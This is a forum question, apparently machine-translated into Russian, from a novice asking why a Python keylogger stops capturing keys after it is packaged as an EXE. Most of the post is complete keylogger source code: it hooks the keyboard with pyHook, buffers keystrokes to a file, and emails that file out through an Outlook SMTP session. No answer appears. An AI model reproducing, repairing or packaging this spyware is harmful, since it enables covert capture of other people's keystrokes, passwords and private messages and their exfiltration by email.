Auto Py to Exe - Keylogger-Emailer - Exe запускается один раз.Тогда не регистрирует ключевые входы - PullRequest
0 голосов
/ 12 июня 2019

Кейлоггер, который отправляет результаты по электронной почте

Запуск .PY из anaconda CMD или IDE: 1. записывает ввод с клавиатуры 2. при вводе> 100 = сохраняет в текстовый файл 3. отправляет текстовый файл электронной почты 4. повторяется бесконечно

Запуск из EXE (EXE создается из Auto Py в Exe) 1. записывает ввод с клавиатуры 2. при вводе> 100 = сохраняет в текстовый файл 3. отправляет электронное письмо в текстовый файл 4. --------------- <<<<<<<< <pre>try: import pythoncom, pyHook except: print ("Please Install pythoncom and pyHook modules") exit(0) import urllib,urllib.request from urllib.request import urlopen from winreg import * import sys x='' data='' count=0 #Local Keylogger def local(): global data if len(data)>200: # _thread.start_new_thread( local, ("Thread-2", 2, ) ) fp=open("c:/Users/Aaron/output.txt","a") fp.write(data) fp.close() data='' print ("saved") # libraries to be imported import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders fromaddr = "name@outlook.com" toaddr = "name@outlook.com" # instance of MIMEMultipart msg = MIMEMultipart() # storing the senders email address msg['From'] = fromaddr # storing the receivers email address msg['To'] = toaddr # storing the subject msg['Subject'] = "Subject of the Mail" # string to store the body of the mail body = "" # attach the body with the msg instance msg.attach(MIMEText(body, 'plain')) # open the file to be sent filename = "output.txt" attachment = open("c:/Users/Aaron/output.txt", "rb") # instance of MIMEBase and named as p p = MIMEBase('application', 'octet-stream') # To change the payload into encoded form p.set_payload((attachment).read()) # encode into base64 encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) # attach the instance 'p' to instance 'msg' msg.attach(p) # creates SMTP session s = smtplib.SMTP('smtp-mail.outlook.com', 587) # start TLS for security s.starttls() # Authentication s.login(fromaddr, "password") # Converts the Multipart msg into a string text = msg.as_string() # sending the mail s.sendmail(fromaddr, toaddr, text) # terminating the session s.quit() print ("emailed") return True def main(): print ("---- Keylogger Activated") global xz x=1 #if __name__ == '__main__': # main() obj = pyHook.HookManager() obj.KeyDown = keypressed obj.HookKeyboard() pythoncom.PumpMessages() def keypressed(event): print ("key") global x,data if event.Ascii==13: keys='<ENTER>' elif event.Ascii==8: keys='<BACK SPACE>' elif event.Ascii==9: keys='<TAB>' elif event.Ascii==122: # keys='' print ("^^^^ Keylogger Deactivated") sys.exit() else: keys=chr(event.Ascii) data=data+keys local() return True main()

Нет ошибок.При нажатии клавиш str «клавиши» не печатается.Так что я думаю, что он не работает ??

Очень плохо знаком с кодированием.пожалуйста, будьте добры :)

Дайте мне знать, если вам нужно больше информации

...